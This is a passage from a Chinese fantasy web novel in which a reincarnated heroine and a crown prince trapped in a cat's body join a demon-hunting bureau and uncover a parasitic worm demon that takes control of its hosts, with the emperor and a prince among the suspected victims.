狸花猫则严肃地点头,并理智地为她分析:“你虽有晋王妃的头衔,可东方宴没有给你任何王妃应有的权限。而长宁侯府则当你是联姻工具,就算你回去了也会被他们送归。所以,你必须要另辟途径。”
“那些清贵名流们虽然看不起玄镜司,认为是乌合之众。但‘乌合之众’恰恰代表用人不拘一格。朝堂不能有女子,可在玄镜司只要有本事,女子也可不拘一格录用……”
这一点,是他还是太子的时候,亲自制定的。为的就是尽快扩大玄镜司的规模,不拘一格,广纳人才。
“小灰……谢守正虽有诸多毛病,但为人正直,重视人才。只要进了玄镜司,你就可以获得正式的官身。那时,东方宴再想找你麻烦,就不再是家事了。”
他分析得头头是道,确实是目前为止,最适合林倾月的一条路。
说到这里时,狸花猫的耳朵尖一动:“时机正好,我们先出去!”
说罢,它迅速来到牢房门前,念道:“芝麻开门,开门芝麻!”
随着话音落下,玄铁密锁“咔哒”一声开了。
林倾月都惊呆:“你的暗语,未免也太简单了。”
狸花猫道:“要的就是意想不到,快走吧!”
一人一猫就这样,轻而易举地逃出了地牢。
而狸花猫耳力超群,能早早听到远处的脚步声,方便避开外面巡逻的侍卫,轻轻松松出了晋王府。
路上,狸花猫叮嘱林倾月:“我的身份,不要和任何人说。包括谢守正。”
林倾月问他:“你信不过玄镜司?”
狸花猫道:“我当日出巡的时候,为了以防万一,也带了几名玄镜司的高手。可是后来,我出事的时候,他们却不知所踪。所以我怀疑,玄镜司可能有内鬼。若你能顺利入职玄镜司,我正好也能混在里面摸一摸情况。”
“何必如此麻烦?”林倾月道,“等你身份恢复了,一道令下,将所有可疑人等全部诛杀,岂不简单?”
狸花猫听完,瞳孔震动了一瞬,明显被林倾月的话给惊到了:“此乃暴君行径,断不可为!”
林倾月眯了眯眼:“你在骂我?”
“什么?”狸花猫没懂她意思。
林倾月不屑地冷哼:“心慈手软,乃是帝王大忌!小太子,你尚需好好磨炼。”
狸花猫道:“若当皇帝就要不辨是非,胡乱杀人,这皇帝不做也罢!”
“有意思,你可比那东方宴有趣多了。”
林倾月刚才那话虽然是在逗他,可她自己真的做过暴君,一念之间五大仙门尽数屠灭。
也不知道是不是罪孽太深了,一朝穿越,变成了个弱鸡。呜呼哀哉!
这时前方传来一阵纷沓的脚步声,穿着官服的谢守正,被手下惨扶着一瘸一拐地从漆黑的街口走来。
他的官袍上满是污渍,胳膊上还挂了彩,看起来十分狼狈,嘚瑟的声音却远远地传来:
“小崽子们,今儿见识到本官的厉害了吧?哼,区区蛇妖残魂,还敢在本官的地盘上闹事?”
“大人厉害!血荆鞭一出,就把那蛇妖抽得满地打滚!”
“对对,要不怎么能当咱们玄镜司的主官呢?”
“大人之猛,真是我等楷模!不过您下次注意点脚下,打完仗却被自己鞭子给绊倒好像有点丢人哎!”
“可恶的大米,别以为本官听不出你在嘲笑本官!信不信本官明儿就抱只猫来养在玄镜司?”
“啊别别,我最怕猫,玄镜司可千万不能有猫!”
这时,谢守正看到了林倾月:“咦,王妃您怎么出来了?不用您帮忙了,本官已经亲手将那蛇妖残魂打散了!”
林倾月开门见山地道:“谢大人,我想加入玄镜司。”
谢守正大喜:“当真?”
玄镜司人手本就不多,何况是林倾月这种一看就高深莫测的人。若是能得她相助,以后再出任务,可谓是如虎添翼。
“可是不对啊,您是王妃啊。和我们这些人混在一起,你家王爷能同意?”
林倾月微微一笑:“我逃出来的……所以,谢大人你敢收吗?”
一刻钟之后,玄镜司衙门内。
一声惊堂木“砰”的一声拍响,谢守正愤愤不平地骂道:“晋王实在过分!怎么能为了个假千金而把明媒正娶的王妃下了大牢?”
林倾月瞬间就抓住他话里的重点:“你竟然知道林如珍的身世?”
当初林家人为了保住这个秘密,可是费了不少的手段呢!
“呃这个……”谢守正挠了挠头,心虚地笑笑。
“既然您以后是自己人了,本官也不瞒你。我们衙门虽然不被那清流权贵们重视,但门内却是人才济济。大米——”
他喊了一声,又奇怪了起来:“刚才还在呢。大米,大米——”
“你在找他吗?”林倾月掀开桌布,就见底下蹲着一个身形瘦小,长得尖嘴猴腮的男人,“这只老鼠妖叫大米?为什么不叫小米?”
“因为他喜欢吃大米啊。”谢守正说着一把将鼠妖从桌子下拽了出来,训斥道,“你又不是狗,钻桌底下作甚?”
那叫大米的鼠妖指着林倾月身边的狸花猫,哆哆嗦嗦地道:“猫……有猫啊~大人您答应过属下,不养猫的……您不能骗我啊大人!”
“真是给咱们玄镜司丢人!”
谢守正尴尬地踹了他一脚,又向林倾月解释道:
“王妃,您别看这小子胆怂,却是我们玄镜司的骨干,专门负责收集信息。他的兄弟遍布家家户户,上至朱门,下至阴沟。无处不在,无所不知!”
正说着,就见几只老鼠顺着墙角跑了过来,在大米的耳边吱吱叫了几声。
大米点点头,从兜里掏出把大米洒给那几只老鼠吃。老鼠们吃了大米,又顺着墙吱吱地跑走了。
大米则抬头对谢守正道:“大人,晋王府的人已经发现王妃出逃,正在到处寻人。”
?
第22章 为太子殿下取个昵称(加更章)
“没事,咱们只当不知道,反正又不是触犯国法。”谢守正果然不是拘泥小节的人,并且很快想出了对策。
“首先,对晋王来说这是家事,闹大了他自己面子挂不住。”
“等天亮之后,下官赶在早朝之前,将破格入职之事报到圣上那边去。”
“近来妖邪出没的频率越来越高,圣上也希望能多招纳些奇人异士。一旦职务定下,您就是朝廷的公职人员。晋王权势再大,毕竟上头还有圣上顶着,他不敢再无故为难。”
如果说之前,谢守正对林倾月还有防范之心的话。那么当林倾月帮着解决了蛇妖的事后,谢守正对她的实力、人品都已经认可,当然也愿意招纳。
“哎,可惜太子不能理事。要不然,我直接报去东宫,事情就更简单了。”
于是林倾月就趁机问:“坊间传闻太子大限将至,此话可当真?”
谢守正忧伤地叹了口气:“具体的我也不知道。太子外出的时候,我正好被公务羁绊,没能伴驾。”
“太子重伤归来后,就被直接送回东宫。等我闻讯赶去的时候,东宫已被封锁。连只老鼠都进不去,根本没办法探查到任何消息。”
“哎,太子殿下那样好的人……但愿他能吉人天相。”
林倾月看了眼默默蹲守在脚边的狸花猫,寻思着:既然能被救回,也就是说,他**身还是完好的?
她又问谢守正:“听说玄镜司是太子一手创立,他可知晓你们妖类的身份?”
谢守正也不瞒着:“殿下自然是知道的,他本是我的主人。十五年前,我重伤误入皇家猎场,差点被乱箭射死,是太子将我救下。”
“后来殿下发现我是狼妖,非但不嫌弃,还让我做他身边的侍从,带我上学堂,接受人类的教化。”
“十年前太子外出,见民间乌烟瘴气,邪祟频出。而民间虽有捉妖师、驱鬼师,但他们不是喊价太高,就是滥竽充数,民众苦也。”
“于是太子便设立玄镜司,全国上下皆有分部。但有妖邪出没,分文不取,为民除害。”
说到这些的时候,谢守正满脸崇拜,眼泛泪光:“那些清贵之流,从来看不起我们这些乌合之众。唯有太子殿下,用人不拘一格。”
“可惜世人对妖类的误解太深,谈之色变,所以我们这些妖怪的身份没有对外公开。”
“哎王妃,你这个猫真有意思,我说话的时候它一直盯着我看,好像听得懂。可它身上又没有妖气,并非妖怪。”
谢守正又哪里知道,他口口声声提及的太子殿下,此刻正在他的面前,只不过顶着猫的身体不方便相认而已。
林倾月避重就轻地道:“这猫却非妖怪,只是聪明些,略微能听懂人话。说不定假以时日,也有机缘修出妖身,所以我就带在身边了。”
谢守正道:“带身边没事儿,可
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千万不能咬我们的情报员啊!”
林倾月笑:“放心,他不知吃老鼠。”
谢守正又问:“它叫什么名?”
“名?”林倾月道,“我收养了才两日,尚未取名。”
既然猫以后要跟在身边,还是要有个名比较方便,总不能喊:“咪咪”吧?
好歹他的内核是堂堂太子殿下啊!
谢守正道:“取名有那么难吗?王妃居然想了两天都没想好。既然是只狸花猫,那就叫小花好了。”
说着还努着嘴巴唤猫:“嘬嘬嘬~小花过来过来,让我摸摸猫头!”
某太子:“……”
谢守正奇怪:“你怎么瞪着我?不喜欢这个名字?”
林倾月呵呵:“谢大人真上过学堂?这名字取得也太随便了些。”
“怎么随便了?”谢守正很不服气,“用**色取名,简单、直接又好记!这是太子殿下当年亲口说的,他还给我取了个‘小灰’的名字,我一直引以为豪。后来为了适应官场,才又取了个谢守正的大名。如今太子闭宫不出,世间再无人唤我一声‘小灰’……”
林倾月望着狸花猫,坏坏地笑了:“原来谢大人取名的才华,是随了主人。嗯,我突然觉得小花这个名字很不错,简直是神来之笔!行,就叫小花吧!”
太子殿下:“……”
有种被自己的回旋镖击中的无奈感,偏偏他的反对被林倾月给无视了。
第23章 蛇妖的来历
“对了谢大人……”林倾月想起了个重要的事情,“我在玄镜司的官职是什么呢?”
她这样的人,自然不可能做普通的司卫。
谢守正道:“我们玄镜司以实力和功劳论高下。以王妃的实力……不如就做鉴邪副使,司里的二把手!”
林倾月问:“既然是以实力论高下,为什么不能是正使?”
谢守正一惊:“王妃你这就不地道了,哪有上来就抢我的主官之位?再说,除了实力之外,还要讲究功劳!若是有一天,王妃的功劳可以高过我谢守正,这主官之位,让你又如何?”
林倾月也没真想抢他的位置,不过几句话交锋下来,可以看出谢守正为人不错。光明磊落又不贪图高位。
谢守正也当真是尽职尽责,和林倾月闲聊之余,还抽空书写案卷,将今晚林府发生的事情,全部记录在案,供后人参考。
其中,包括沈墨的怨屈,和蛇妖的来历。
蛇妖在他过往的卷宗也曾有过记录。
据说几十年前,有个耍蛇人,擅长驯蛇,带着十几条大大小小的蛇,走南闯北到处表演训蛇杂耍。
在诸多蛇中,他最喜欢的是一条花斑**蛇。花斑很通人性,复杂的指令都能听懂,为耍蛇人赚了不少钱。
耍蛇师也爱极了这蛇,时常抚摸着蛇的身体,絮絮叨叨的闲话。
而那蛇则温驯地依偎在主人怀里,莹亮的竖瞳定定地看着主人,偶尔“嘶嘶”两声,好像在回应主人的话语。
有一天,耍蛇人行路至荒野附近时,遇到一群土匪劫财害命。
危难之际,花斑**蛇从笼子里冲了出来,把那些土匪吓得屁滚尿流,当场跑路。
跑得最慢的那个,被花斑蛇追上,绞杀、吞吃,一气呵成。
耍蛇人被这一幕,吓得久久未能回神。
而花斑蛇吃饱之后,便想像以往那样回笼子里睡觉。可它的身体已经胖了一大圈,怎么都钻不进去,只好可怜巴巴望着主人。
从那天开过荤之后,每到深夜,花斑蛇都会悄悄溜出。
回来之后,它的身体就会膨大一圈。
而耍蛇人每到一处,第二天附近就会有人失踪。
耍蛇人不敢再养花斑蛇了,哪怕蛇在他面前依旧温驯如故。
他也尝试过把蛇丢掉,可不论将它丢到什么地方,那蛇都会重新找回来。
耍蛇人每天都过得胆战心惊心,害怕蛇什么时候发狂,就把自己也给吃了。同时也担心被人发现他养的蛇**,那么自己也将难逃厄运。
终于有一天,他遇到了一位捉妖师,纠结再三之后,还是将情况如实告知。
捉妖师说:“那蛇已成妖,且吞吃了几十人,道行深,不好对付。所幸它还视你为主,对你极为信任。若要除妖,需要你从旁协助。明日,我会在后山布下诛妖阵法。等到天黑后,你将它引到阵眼,我就有办法,一举将它诛杀。”
耍蛇人心有不忍:“非要杀死吗?还有没有其他办法?”
捉妖师说:“除恶务尽,否则后患无穷!”
“那……容我考虑下。”耍蛇人没有立即答应。
可当他回去后,却看到花斑蛇的口里吐出一个女童的鞋子。
而那蛇庞大的身体碾压过小小的鞋子,亲昵地向主人游来。
那一瞬间,他浑身颤抖,同时也下定了除妖的决心。
那晚,已经很久没有和蛇接触的耍蛇人,又像从前那样抚摸着花斑蛇的身体,眼底藏着复杂的情绪。
“大龙啊,大龙……”
他一遍遍地唤着着蛇的名字,时光仿佛回到了从前的亲密无间。
最后,耍蛇人说:“大龙,我们很久没有山里抓蛇了。今晚你陪我去吧……”
以往表演的蛇,都是大龙帮他抓到的。在大龙的威压之下,那些蛇都会变得乖乖听话。
自从发现大龙是妖怪之后,他们东躲西藏,已经很久没有出去捕捉新的小蛇训练表演了。
花斑蛇天真地以为,一切都能回到从前。
它点点头,庞大的身体迅速蠕动,开开心心地出门去。
它游动的速度很快,可游不了多远,就会停下来等主人。明明是阴森恐怖的竖瞳,可看向主人时,却充满了依赖和信任。
可那唯一的依赖和信任,却断送了它的性命。
它在主人刻意的引导下,走到了诛妖阵中。
当突然腾起的火焰,灼烧着它身体的时候,它第一时间不是想着逃跑,而是急忙去寻找主人的踪影,怕他受伤。
然而,隔着重重火光,它却看到主人站在捉妖师身后,哭
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着说:“大龙你好好去吧,下辈子别再害人了……”
原来,主人不要它了,甚至还要杀死它!
巨大的蛇身在大火里翻腾哀嚎,最终化成了焦炭。
耍蛇人以为大龙死后,自己的生活就能恢复平静。
却不知,蛇妖死后,怨气滔天,魂魄再次回到了主人身边。
那晚,巨大的蛇影高高耸立,血盆大口落下,瞬间就将主人吞食。
——主人,这一次我们永远不会分开了。
蛇妖残魂为祸四方,后来又害了不少人命。
当初的捉妖师闻讯赶来,后悔自己当初行事不周。可他到底道行低微,耗尽性命也没能将其彻底消灭,只将蛇妖残魂**在鬼哭岭上。
直到后来,沈墨被林如风哄去鬼哭岭,无意中破了封印,被蛇妖吞噬,并借着他的怨气回到了人间。
谢守正落下最后一笔,叹息道:“妖怪之类拥有异于常人的力量,一旦开始放纵欲念,就会为祸人间。”
“对了王妃,您最后和沈墨说了什么,竟让他那么轻易就放下怨恨?蛇妖又为什么说你在欺骗沈墨?”
林倾月淡笑:“也就是一些劝他宽宏大量放下仇恨的话,和谢大人先前的劝说差不多。”
谢守正疑惑:“就这么简单?那为何我之前劝他的时候,他却一点也听不进去呢?”
林倾月只笑不语。
第二天,柳府。
大清早,柳母就过来说:“你父亲已经备好马车,用过早膳你就回去吧!”
柳婉清很惊讶:“父亲还是要赶女儿走?即便你们知道林如风天天往死里打我,知道他喜好男风,根本不可能和我生儿育女!你们也不准我和离吗?”
柳母垂泪:“女儿啊,母亲知道你苦。可这就是女人的命啊!嫁出去的女儿,泼出去的水。即便是和离,也影响名声。尤其你父亲,最近还在四处走动,想把官职往上提一提。若是家里有个和离的女儿,外人定会说三道四,影响你父亲的风评。”
“姑爷如今有把柄在你手里,想来不敢再像从前那样对你。子嗣的问题也不必担心,回头从宗族里过继一个就是了。且忍一忍,日子总是会好的。”
最终,父亲的冷漠、母亲的软弱,让出嫁的女儿失去了避风的港湾。
第24章 入宫面圣
柳婉清只能重新回到长宁侯府。
此刻,她还不知道昨夜府里发生的事情。
而林霄也下了死令,不准传出去影响公子名声。
所以,没人敢告诉柳婉清真相。
柳婉清忐忑不安地回到了自己的院子。
一想到林如风阴晴不定的脾气,以及婆婆一碗又一碗的催子汤药。她就绝望、压抑得几乎想死。
不知过了多久,门外廊下传来熟悉的脚步声。
抬头看去,就见一道修长的影子,一点点地出现在门口。
他来了!
他会不会再突然爆发,对自己拳脚相向?或者,又想出什么磋磨人的新手法?针扎,还是蜡油烫?
想到这些,柳婉清整个人都害怕的紧绷了起来。
“都出去。”林如风的声音很轻,却让柳婉清浑身一颤。
以往他要折磨自己的时候,都会清退下人、紧闭房门。
脚步又起,停在她咫尺之处,许久后才轻轻地唤了一声:“柳小姐……”
柳婉清以为听错了,一抬头就对上了一双温柔的眉眼。
明明那人的模样未变,可他神情、气质却已完全不同了。
“你……唤我什么?”
他的眼里慢慢蓄满了泪水,分明有千言万语滚在喉间,最后却只凝成了一句:“对不起……”
早朝的时候,勤劳的谢守正,就从宫里回来:
“王妃,成了!圣上准你破格入玄镜司!本来我怕圣上不同意,准备了一大堆说辞,没想到圣上只是稍作犹豫就点头了。哦对了,按照规矩你得去陛下跟前谢恩。您掐着点时间,等散了早朝您就去进宫面圣。”
林倾月欣然应允,正好她也想看看如今皇宫是个什么模样,有没有她住的当年气派。
结果,当她站在皇宫门口,便有些失望。
“小花啊,你家的宫殿也太寒酸了点吧?宫墙太矮,楼宇也不够雄伟高大。”
比起林倾月当年住的云宫,那差的不是一星半点。
她的云宫,最高处在云层之上,能俯瞰整个修仙界。每当朝阳升起的时候,云宫就被渲染得金碧辉煌。那才叫壮观,那才是人间至尊该住的地方。
狸花猫道:“齐国的宫殿,修建于一千年前,当年为了修这座宫殿已经是劳民伤财。等等,你喊我什么?我说了,我不喜欢这个名字!那只蠢狼,等以后有机会我好好收拾他!”
“不喜欢吗?”林倾月唇边噙着一抹坏笑,“那你喜欢什么名?咪咪?”
太子殿下:“……”
“还是……东方起?”
最终,虎落平阳变成猫的太子殿下只能无奈地接受了“小花”这个名字。
至少比咪咪好听点。
本来林倾月还以为小花跟着出来,是为了一起进宫见他的皇帝老子。
谁知,小花叮嘱了几句之后,就转身离去了。
皇帝虽然是他亲爹,可他身边人侍从众多,人多眼杂,他认为暂时还是退守暗处最为安全。
林倾月叮嘱它:“那就在马车里等我,不要乱跑。要不然被人抓走做**火锅了,我可不救你。”
小花很无奈:“你就不能盼我点好?”
林倾月走过正阳门的时候,里面刚刚散朝,穿着朝服的官员们远远地过来。
走在最前头的东方宴,身边围着十几个官员。
狗王爷脸上带着温和的假笑,正语气和蔼地和同僚们谈话。
忽然看到林倾月,他的笑容顿时就僵住了。
林倾月冲他嫣然一笑,大摇大摆地从他身边走过。
走了没多久,东方宴就追了过来。
他压着火气质问:“林倾月,你又在耍什么手段?想入宫找圣上告状,说本王将你关进地牢吗?你也不想想你干了什么!动用咒术害人,捅到圣上跟前,连本王都要落个管教不严的罪过!”
林倾月好笑地看着他:“既然你这么怕我连累你,又为何要给我定那莫须有的罪名?”
“本王何曾给你定罪?关你,最多也只算家法而已。再者,珍儿是你的亲姐妹,你怎么能狠毒地让她受此大罪?这里人多眼杂,不方便多说。你跟本王回府,我们回去再
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从长计议。”
“回去?然后继续被你关?”
林倾月冷嗤,而后从袖口里掏出个印着“玄镜司”二字的令牌。
“从今日开始,本官便是玄镜使副使,大齐从五品官员。此刻入宫,乃是陛下亲召,与你无关。”
“什么?林倾月你……”
东方宴惊讶之后,又十分恼怒。
“你放着晋王妃不当,居然跑去玄镜司,和谢守正那些乌合之众混到一起?他们都是干阴活、脏活的人。名流贵族都不屑与之为伍,你居然自降身份去当个从五品的小官!”
“呵~你们这些人啊,真是虚伪至极!家中遇事时,便巴巴地求上门。事情过后,就说人家是乌合之众,不屑与之为伍?”
“林倾月,你非要如此和本王说话吗?”
东方宴阴冷着脸,下最后的通牒:“你去陛下那辞去官职,说你不会进入玄镜司。若你乖乖听话,回王府后,本王不会再关你。若是不从,本王就休了你!”
林倾月留下一句:“悉听尊便”就大步流星而去。
东方宴想追,可周围已经有不少人投来窥探的目光。
他不能把家事带到这里,影响自己的形象,于是只能眼睁睁地看着林倾月越走越远。
从头到尾,那女人甚至都没有回头多看他一眼。
他有些不解:为什么她一点也不在意?当初可是她用了手段,千方百计要嫁给本王!又或者,这是她欲擒故纵的招数?
齐昭帝在御书房召见了林倾月,简单聊了些无关紧要的闲话,就让她退下了。
其中,既没有深纠她的玄术本事,也没有问和晋王相关的事。
林倾月都有些纳闷:这葫芦里卖的什么药?
从宫里出来后,晋王还留了侍卫和马车,等着接她回王府。
可如今的林倾月已经不是从前那个,什么依靠也没有的弱女子了。
她直接就上了玄镜司的马车,小花在车厢里。
“如何?”小花问。
林倾月道:“幸好你没跟去,你爹应该中了邪术。”
第25章 蜉蝣丝
小花惊讶地瞪圆了猫眼:“我父皇中邪?不可能,皇宫有特殊的阵法加持,妖邪鬼怪无法靠近。就算是玄镜司的人,也只有谢守正能随意出入皇宫。”
林倾月道:“御书房里侍卫、宫婢都在。我和他隔着些距离,只是闲聊了几句。起初我甚至都没发现异常,直到后来,我无意中看到他的眼眶有些发红。那不是正常的病变,而是应该染了什么邪气才导致的异化。”
“父皇……”小花担忧得恨不能立刻冲去皇宫一探究竟。
但很快,他就冷静下来。
毕竟他现在只是猫,贸然回去,不但没办法救人,反而打草惊蛇。
“去玄镜司找谢守正!”
刚到玄镜司大门口,就听身后传来一阵马嘶声,接着就是东方宴阴魂不散的声音:“林倾月!”
林倾月回头,看到东方宴从马背跳下,身上还穿着先前的朝服。
“为何不坐王府的马车回家?”
明明他已经给她留了台阶,怎么就一点不知道领情?
他本来都已经回王府了,准备更衣去会客。
结果却听到手下人来禀报:“王妃不肯回来了,甚至都没坐王府的马车。”
于是东方宴朝服都没换,就急匆匆地追来了。
“玄镜司的差事你没有辞?”
“没有。”
“林倾月,莫说你是本王的王妃,代表的是本王的颜面!就算是普通人家的妻子,做什么决定前,也该和夫君商量!”
“和你商量?抱歉,没那个习惯!”
林倾月懒得再和他废话,带着猫进了玄镜司的大门。
东方宴恼怒归恼怒,可到底还是顾念脸面,没有做出光天化日当众绑人的事。
冷静之后,他又觉得有些不对劲。
明明林倾月之前还是一副温柔解语的样子。
怎么这两天又突然跟变了个人似的,不但忤逆自己,甚至还自降身份和那些乌合之众混到一起。
对了,一切似乎就是从回门之后开始。
难道是因为自己对珍儿过分关心,令她伤心了。所以她欲擒故纵?
玄镜司后院。
林倾月还没走进,就闻到一股子浓郁的血腥味。
谢守正带着一帮手下,围着一具脑瓜开花的尸体研究。
鼠妖大米捂着鼻子说:“太恶心了,就不能将尸体停到外头?”
“说什么屁话,放到外头吓到百姓了怎么办?”谢守正说完就yue~了两声。
转头看到林倾月,赶忙招呼她过来:
“有案子了,你来瞧瞧。”
于是众人赶忙散开,给林倾月腾位置——其实巴不得跑得越远越好。
林倾月走近一看,也忍不住皱起了眉头。
只见那男尸脑袋开花,血呼啦差的,伤口处还有一条细如发丝,长约半臂的虫子在蠕动。
看得人头皮发麻,说不出的恶心。
谢守正解释道:“此人乃是东升酒楼的老板,今早不小心从楼上跌落磕破了头,当场死亡。本来只是一次意外,没想到脑袋里居然钻出了一条古怪的虫子。”
“廷尉衙门那边处理不了,就给抬到我们这儿来了。本官那时候正在吃面条……现在好了,估计以后都不想再吃任何面条了。”
说着他点了大米:“把你刚才收集到的情报再给林副使报告一遍。”
大米小心翼翼地看了眼狸花猫,“能不能先让那猫出去?”
林倾月道:“不行。”
谢守正骂道:“怂包,人家小花都没正眼瞧过你,一看就是不吃老鼠的猫!赶紧说正事!”
“呃……好吧。”大米怂怂地搓了搓手,开始讲述受害者情况。
“受害者名叫李东升,东升酒楼老板,60岁。平日里喜欢喝酒、吃鱼生。他的酒楼主营的也是鱼生菜色。”
“出事前,从未听说他有任何不适。月前还娶了房18岁的小妾,可谓老当益壮。昨晚和友人通宵宴饮,许是喝得多了,才从高处跌落。”
谢守正接过话头:“我起初怀疑他脑子里的虫,乃是吃鱼生感染的寄生虫。可又觉得不像,这虫带着一股阴邪之气,似妖非妖,似虫又非虫,可谓闻所未闻、见所未见。”
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而林倾月神色也凝重了几分:“确实不是普通寄生虫感染。这虫应该归于邪妖,名为‘浮游丝’,乃是蜉蝣成妖后,**出来的一种子虫。蜉蝣朝生暮死,而蜉蝣丝寿命更短。唯一能延长寿命的办法就是寄生。”
“蜉蝣丝一旦进入人体,就会抵达脑部,操控人的身体。甚至还能模仿人的习惯和行为,即便受害者身边亲近之人,也很难察觉出异样。”
“而感染者原本的灵魂在感染初期还有意识,只是不能说,不能控制身体。当感染时间达到三年以上,则原主意识彻底死亡,肉体沦为蜉蝣丝傀儡。”
“因此,浮游丝还有个名字,叫‘提线虫’。将宿主变成提线木偶,操控于鼓掌之中。”
“最为重要的是,蜉蝣丝一旦发现一例,也就意味着已经出现大量未曾发现的感染者。”
众人听罢,毛骨悚然。
“那该如何?怎么发现谁感染了?还有,王妃你是从哪里知道这些的?”
谢守正的问题很多。明明林倾月如今只是她的副使,却不知何时被他当成了主心骨。
林倾月之所以知道这些,是因为前世修仙界也爆发过蜉蝣丝大规模感染的事件。
当时感染的是一个县,感染者接近一半。
更为要命事,当地的县官对蜉蝣丝认知不够,根本辨别不出哪些是感染者,哪些是未感染者。
最终,主管此事的仙门道长一狠心,下令将全县百姓扑杀。
最为讽刺的是,杀光了全县人后,才发现那仙门道长也是感染者。而新一轮的感染继续爆发。
好在后来,有人研究出了鉴别感染者的办法,才平息了一场滔天大祸。
“我从前在乡下里偶然见过。”林倾月对于自己的过往,一句话敷衍而过。
“蜉蝣依靠寄生而活,一旦离开人体,或者宿主死亡,一个时辰内就会失去力量而死。”
说话间,谢守正就看到死者脑袋里的虫子翻滚了几次后,就不再动弹了。
大米忙道:“李东升从摔破头死亡到现在,正好是一个时辰!”
第26章 寄生
谢守正又问:“那该如何鉴别感染者?感染之后又如何能治疗?”
林倾月:“鉴别的办法不难,我可以合成一种让蜉蝣丝厌恶的香料,普通人嗅到那香不会有任何异样。感染者嗅到,就会产生头痛之感。由此,可以辨别出,是否是感染者。”
她说话间,写了个配方递给谢守正:“这是鉴别香丸的配料,你想办法帮我配齐,我来炼制成香丸。”
谢守正看了眼配方,道:“其他的药材都好说,唯独这月幽兰没听说过。”
月幽兰是修仙界常见的一种兰草,乃鉴别蜉蝣丝最为重要的一味草药。若是没有,那就很麻烦了。
然而世间生物,从来相生相克,既然这个世界也有蜉蝣妖和蜉蝣丝,那自然就会有相克之物。
于是她提笔将月幽兰画了出来:“这样的,没有见过吗?”
“哦这是幽夜兰!乃是一种夜间开放的兰花,没想到还能入药……”
原来月幽兰在这个地方换了种名字,叫幽夜兰。反正能找到就行,名字不重要!
“……这种花生长在兰县,寻常地方很少见。兰县乃兰花之乡,恰好在晋王的封地,晋王又酷爱兰花,也许会有。”
林倾月道:“我去王府找找看。”
谢守正点了点头,又道:“光鉴别出感染者也还不够,重要的是如何解除寄生?”
林倾月道:“那就要找到头虫,也就是蜉蝣妖。那妖应该就在京城,大人若要排查,千万注意不要打草惊蛇。蜉蝣丝没有智商,进入人体后,只是单纯的模仿宿主生前的行为。可蜉蝣妖却有智商。”
“此外,还要控制防范,不要继续扩大感染范围。蜉蝣丝平常蛰伏,可若是在一定范围内,就会受头虫驱策。也就是说,被寄生者都会成为他的棋子,棋子越多,事态越难控制。”
谢守正越听越心惊:“一定范围是指……”
林倾月:“方圆十里范围内。”
也就是说,这个范围内,只要头虫愿意,感染者不论身份多么精贵,都会受其驱策。
细思极恐!
谢守正沉吟片刻,道:“今日之内,玄镜司全体暂时不做任何行动。王妃若是能配出鉴别香丸,司内所有兄弟全部查过,确定不是感染者才可进行接下来的行动!”
这样做的目的,也是为了避免玄镜司有感染者,从而沦为旁人棋子。
林倾月点头,没有再多说什么,转身回晋王府寻找幽夜兰。
小花迈着轻盈的猫步,一路紧紧跟随,圆圆的猫脸上也是一派凝重。
路上,坐在马车里,小花才开口问林倾月:“我父亲会不会也感染了浮游丝?”
林倾月点头:“应该是了。蜉蝣丝未寄生的时候,没有任何妖邪之气,所以能顺利流入皇宫。而你爹是真龙天子,本身就有大气运,所以感染之后才会展露出一点端倪。”
说到这里,林倾月的声音顿住了,小花也联想到了什么,一人一猫对视一眼,皆是心照不宣。
世间万物相生相克,毒物附近常伴有解药。那么反过来理解,这一切有没有可能是晋王钻暗中做的手脚?
晋王对于储君之位的野心,昭然若揭。
可他来京城半年多了,齐昭帝却迟迟没有松口。
也许,东方宴已经等不及了,便想利用蜉蝣丝操作齐昭帝立储!
与此同时,晋王东方宴正在瑞王世子府上,商谈事物。
瑞王世子比东方宴大一岁,两人从少时关系就非常不错。
最为重要的是,老瑞王为人懒散,不喜弄权。
就连皇帝为储君之事召齐八王来京,老瑞王也兴趣缺缺,只派了儿子过来走个过场。
而瑞王世子东方脍和他老子一个性格。到了京城之后,别的王爷都忙着争权夺位。唯独这东方脍,忙着找美食美酒。
此刻,那身材圆润的世子殿下,指着满座的佳肴对东方宴道:“这些都是我半年来精心挑选的十道佳肴,准备编写进我的《大齐民间美食谱》上。快来尝尝味道如何。”
东方宴皱眉:“你说有重要的事,就是请我吃饭?”
东方脍理所应当地道:“难道美食佳肴,不是天底下顶顶重要的事吗?”
东方宴来都来了,只好坐下用膳。
“这道佳肴味道奇特,保管你吃了还想吃!”
东
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方脍热情的给他加了几片晶莹剔透的东西,又配上一堆小料子蘸酱,然后热情招呼:“快尝尝!要一口塞,才有滋味。”
东方宴按照他教的方法,一口吃了下去。
嚼了几下,虽不知道是什么食材,但确实味道奇特,十分美味。
吃完一口,他就忍不住又夹了一些,并随口问:“这是什么肉,果然好吃。”
“鱼生!如何,一口上瘾吧?”
东方宴加鱼肉的手一抖,那薄如蝉翼的鱼肉便又跌回盘里。
“什么?鱼生?生的?”
东方宴也听过这道菜的大名,只是他从不吃生食,也不知道鱼生具体是什么样子的。
东方脍喜滋滋地道:“怎么样,很吃惊吧?我起初也不爱吃生食,但尝过鱼生之后,感觉美味无比。我还准备将此道菜肴,列为生食之首。来来来,再尝尝这桃花酿。一口酒一口鱼生,给个皇帝都不当!”
东方宴心中对生食依然还有些膈应,只喝了些桃花酿,并未再吃鱼生。
酒过三巡,也吃得差不多了,东方宴手上还有许多差事要办,就起来告辞了。
东方脍打趣道:“你这样勤勉,将来就算不当皇帝,也得是个摄政王,才对得起你的付出。”
东方宴瞪了他一眼:“谨言慎行。”
东方脍哈哈大笑:“你们这些人啊,真是虚伪。明明都是司马昭之心,人尽皆知,偏偏还要藏着掖着。真以为咱们的皇伯伯不知道吗?他老人家可精着呢!”
东方宴无奈的笑笑:“也就是你,胸无大志。难怪圣上总爱召见你,若非咱们多年交情,对你了解透彻。我都要将你列为最大的竞争对手了。”
“别别,我可没你那些心眼子!对了,我还准备了一份鱼生和桃花酿,你带回去给弟媳尝尝。说起来,你成婚多日,怎也不带王妃来见见我们这些宗亲?”
“没什么好见的。”东方宴一提到林倾月,语气就不太好。
“你啊你啊!”东方脍拍着他的肩膀,劝道,“既然都成了夫妻,理应好好对人家。酒和鱼生都为你装好,记得带到。”
这次,东方宴没有再拒绝。
第27章 中招了
没有拒绝是因为,东方宴突然发现自己浑身都僵住了。
明明意识还是清醒的,可手脚都不能动了。
旁边的侍卫见他呆立不动,恭敬地问:“王爷,您怎么了?”
东方宴很想说话,可说不出来,似乎就连口舌都失去了控制。
而东方脍似乎没有察觉到他的异常,还在热情地说:“下次得空,把新王妃也带来见见。”
很快,他的身体就动起来了。
